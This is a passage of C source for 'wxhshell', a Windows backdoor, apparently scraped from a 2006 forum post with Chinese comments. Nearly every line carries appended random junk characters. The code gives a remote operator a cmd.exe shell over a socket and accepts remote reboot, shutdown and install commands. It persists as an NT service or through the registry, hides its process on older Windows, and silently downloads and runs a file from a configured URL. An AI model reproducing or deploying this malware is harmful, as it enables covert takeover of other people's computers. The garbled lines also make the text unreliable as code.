  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I>c,Bo7  
  } N8<J'7%  
  else { rzjVUPdnh  
c_lHj#A(l  
    switch(cmd[0]) { >lI7]hbIs  
  {SoI;o_>  
  // 帮助 v4$/LUJZp  
  case '?': { 5]xuU.w'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #c"eff  
    break; d,<ni"  
  } NBikYxa  
  // 安装 Lvk}%,S8t  
  case 'i': { mx c)Wm<4  
    if(Install()) Q7%4`_$!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b 2gng}  
    else h Yu6PWK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z;0~f<e%  
    break; X{9^$/XsJ  
    } q z)2a2C  
  // 卸载 a#oROb-*~  
  case 'r': {  Fr%#  
    if(Uninstall()) ! 'zd(kv<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e#Tv5O  
    else +pofN-*%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >{#JIG.  
    break; %#6@PQ[R.  
    } \pmS*Dt  
  // 显示 wxhshell 所在路径 K$E3RB_F  
  case 'p': { N&9o  1_}  
    char svExeFile[MAX_PATH]; T j$'B[cv  
    strcpy(svExeFile,"\n\r"); !avol/*  
      strcat(svExeFile,ExeFile); +WX/4_STV  
        send(wsh,svExeFile,strlen(svExeFile),0); }gp@0ri%5  
    break; B(Sy.n  
    } [&x9<f6  
  // 重启 `lhw*{3A  
  case 'b': { AGBV7Kk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); exRw, Nk4  
    if(Boot(REBOOT)) 7DB_Z /uU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,_z79tC{s  
    else { { U4!sJSl1  
    closesocket(wsh); /dnwN7Gf  
    ExitThread(0); &kb`)F3nU  
    } n<?U6~F&~  
    break; :]3X Ez  
    } Q|y }mC/  
  // 关机 Psb !Z(  
  case 'd': { Pt]>AW;i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K<JzIuf&  
    if(Boot(SHUTDOWN)) ts]e M1;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FU`(mQ*Yd  
    else { *$p*'vR  
    closesocket(wsh); h my%X`%j  
    ExitThread(0); r )|3MUj  
    } 1gI7$y+?  
    break; `oRyw6Sko  
    } kVn RSg}R  
  // 获取shell ^FCXcn9  
  case 's': { K_Y-N!h  
    CmdShell(wsh); lu utyK!  
    closesocket(wsh); /:|vJ|dJ  
    ExitThread(0); >P6"-x,["  
    break; oFk2y^>u  
  } dQ:,pe7A  
  // 退出 ?hoOSur+  
  case 'x': { A(Ct^/x-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u6iW1,#  
    CloseIt(wsh); h>Kx  
    break; 1" '3/MFQ8  
    } Ple.fKu  
  // 离开 n ]%2Kx  
  case 'q': { B|`?hw@g+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |x[I!I7.F  
    closesocket(wsh); X><C#G  
    WSACleanup(); X9>fE{)!  
    exit(1); 4&)sROjV=  
    break; #qRoTtMq 7  
        } _[:6.oNjIe  
  } g)Z8WH$;H3  
  } q(sTKT[V  
i4D(8;  
  // 提示信息 bpu`'Vx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Iu'9yb  
} <,vIN,Kl8/  
  } f-U zFlU  
kBUkE-~  
  return; D?Oe";"/  
} ]4~Yi1]  
+IZ=E >a  
// shell模块句柄 VZ]iep  
int CmdShell(SOCKET sock) "&(/bdah?&  
{ H4M=&"ll}  
STARTUPINFO si; V 6}5^W  
ZeroMemory(&si,sizeof(si)); 6@]o,O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $q!A1Fgk0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (Tx_`rO4VY  
PROCESS_INFORMATION ProcessInfo; 0aT:Gy;  
char cmdline[]="cmd"; m:BzIcW<\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W]4Z4&  
  return 0; Jv~R/qaaD  
} +%5L2/n7  
<H64L*,5'7  
// 自身启动模式 ^sv|m"  
int StartFromService(void) &X4anH>O  
{ @52#ZWy  
typedef struct w4 yrAj 2  
{ S2X@t>u-  
  DWORD ExitStatus; 1$cl "d`~  
  DWORD PebBaseAddress; KXKT5E$  
  DWORD AffinityMask; VuLb9Kn  
  DWORD BasePriority; ^[hAj>7_8$  
  ULONG UniqueProcessId; =OufafZb  
  ULONG InheritedFromUniqueProcessId; 7cc^n\c?Y  
}   PROCESS_BASIC_INFORMATION; -jQ*r$iRE  
hqRC:p#9  
PROCNTQSIP NtQueryInformationProcess; Z% +$<J  
4*_jGw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mo/R+\u+Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lpi"@3  
_hnsH I!oD  
  HANDLE             hProcess; #H$lBC WI  
  PROCESS_BASIC_INFORMATION pbi; ~EtGR # N  
v^A+LZ*d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QQ?t^ptv  
  if(NULL == hInst ) return 0; tPyk^NJ;  
pPL=(9d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $S>'0mL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^f[6NYS?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  O_ _s~  
Mi]^wCF  
  if (!NtQueryInformationProcess) return 0; ~+.=  
z ]f(lwo{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #-|fdcb  
  if(!hProcess) return 0; ]p|?S[!=  
w!lk&7Q7Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zJXK:/  
2poo@]M/  
  CloseHandle(hProcess); }u#3hYa  
Jp jHbG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L|1,/h 8p  
if(hProcess==NULL) return 0; ,#;hI{E  
MkW=sD_  
HMODULE hMod; V7,dx@J-  
char procName[255]; cvcZ\y  
unsigned long cbNeeded; &mX_\w /%  
8K4^05*S   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Zk`y"[J  
=A!oLe$%  
  CloseHandle(hProcess); /? %V% n  
I`{3I-E  
if(strstr(procName,"services")) return 1; // 以服务启动 xLed];2G  
%P}H3;2  
  return 0; // 注册表启动 %OoH<\w w  
} kA=5Kc  
kq| !{_  
// 主模块 G#[A'tbKk  
int StartWxhshell(LPSTR lpCmdLine) *iB&tWv  
{ eb7UA=[Z  
  SOCKET wsl; 3cHYe  
BOOL val=TRUE;  hh4R  
  int port=0; zS:2?VXxq  
  struct sockaddr_in door; L9jT :2F  
]9_gbQ   
  if(wscfg.ws_autoins) Install(); eipg,EI  
+-tFgXG  
port=atoi(lpCmdLine); pW+uVv,  
]x)!Kd2>  
if(port<=0) port=wscfg.ws_port; rC@VMe|0  
pZ8J\4+  
  WSADATA data; G:*vV#K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OROvy  
$e1.y b%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9(t(sP_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;6@sC[  
  door.sin_family = AF_INET; .B~}hjOZK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B*_K}5UO  
  door.sin_port = htons(port); gaN/ kp  
uD/@d'd_4L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z5gVP8*z5  
closesocket(wsl); UvGxA[~2+  
return 1; 9mxg$P4  
} ]Y?Y$>  
(:8a6=xQ  
  if(listen(wsl,2) == INVALID_SOCKET) { '$Z)2fn7  
closesocket(wsl); N.mRay,  
return 1; 0{vT`e'  
} +a39 !j 1_  
  Wxhshell(wsl); gcnX^[`S  
  WSACleanup(); * WV=Xp  
.xqi7vVHZ  
return 0; nA0%M1a  
.@fA_8  
} X$KTsG*  
%|JiFDjp  
// 以NT服务方式启动 W,EIBgR(R5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Yuw:W:wY  
{ ?j8!3NCl}  
DWORD   status = 0; s,r|p@^  
  DWORD   specificError = 0xfffffff; `U|7sLR  
Xfg3q.q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t Cb34Wpf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n UmyPQ~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c5%}* "z  
  serviceStatus.dwWin32ExitCode     = 0; Gtaa^mnxD  
  serviceStatus.dwServiceSpecificExitCode = 0; j4,y+ 9U  
  serviceStatus.dwCheckPoint       = 0; !Ew ff|v"  
  serviceStatus.dwWaitHint       = 0; p-I J':W  
8#;=>m%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @<eKk.Y?+  
  if (hServiceStatusHandle==0) return; /-v ;  
G@/iK/>5|`  
status = GetLastError(); \dCGu~bT  
  if (status!=NO_ERROR) #f"eZAQ {  
{ Nl[&rZ-&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S3/%;=|  
    serviceStatus.dwCheckPoint       = 0; 1J0gjO)AZ  
    serviceStatus.dwWaitHint       = 0; Btxtu"]nJo  
    serviceStatus.dwWin32ExitCode     = status; |kK5:\H  
    serviceStatus.dwServiceSpecificExitCode = specificError; mt+i0PIfj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e_e\Ie/pDc  
    return; .;g kV-]  
  } {ol7*%u  
Uj;JN}k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ="78#Wfj2  
  serviceStatus.dwCheckPoint       = 0; MO$y st?fK  
  serviceStatus.dwWaitHint       = 0; }$z(?b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2$Xof  
} |l8=z*v<  
(mp  
// 处理NT服务事件,比如:启动、停止 oc)`hg2=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1N(#4mE=  
{ hYpxkco"4'  
switch(fdwControl) QOEi.b8r  
{ `bBkPH}M  
case SERVICE_CONTROL_STOP: \}4Y]xjV2  
  serviceStatus.dwWin32ExitCode = 0; Y Iwa =^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0?$|F0U"J  
  serviceStatus.dwCheckPoint   = 0; r'Wf4p^Xd  
  serviceStatus.dwWaitHint     = 0; 3" m]A/6C}  
  { WYb}SI(E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Q4Vy  
  } ?|kbIZP(  
  return; @*|VWHR  
case SERVICE_CONTROL_PAUSE: RAl/p9\A+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?:3hp2k<  
  break; n4!RGq.}  
case SERVICE_CONTROL_CONTINUE: .iy>N/u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3v\P6  
  break; %JrZMs>  
case SERVICE_CONTROL_INTERROGATE: }| MX=:@*  
  break; f|VCibI  
}; Z@1kx3Wx$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d7](fw@c  
} aC`>~uX##V  
MoN0w.V  
// 标准应用程序主函数 pC:YT/J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;Tr,BfV|Bf  
{ xgMh@@e  
l#enbQ`-~  
// 获取操作系统版本 peu9B gs  
OsIsNt=GetOsVer(); />mK.FT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "'bl)^+?,  
YA,~qT|  
  // 从命令行安装 lND2Kb  
  if(strpbrk(lpCmdLine,"iI")) Install(); OC*28)  
IrQ.[?C  
  // 下载执行文件  .x%w#  
if(wscfg.ws_downexe) { h_?`ESI~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >I\B_q  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q&.uL}R  
} 0zNbux_  
@\w}p E  
if(!OsIsNt) { {)"[_<  
// 如果时win9x,隐藏进程并且设置为注册表启动 V3ozaVk;  
HideProc(); ]O@iT= *3  
StartWxhshell(lpCmdLine); I3.. Yk%7  
} }},0#Ap  
else ?D.+D(  
  if(StartFromService()) _M/N_Fm  
  // 以服务方式启动 #?w07/~L  
  StartServiceCtrlDispatcher(DispatchTable); LH2B*8=^2  
else =_#b .8K  
  // 普通方式启动 .fJ8  
  StartWxhshell(lpCmdLine); N-QS/*C.~  
Qpv#&nfUi6  
return 0; BzS4:e<  
}
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只看该作者 1 发表于: 2006-10-10
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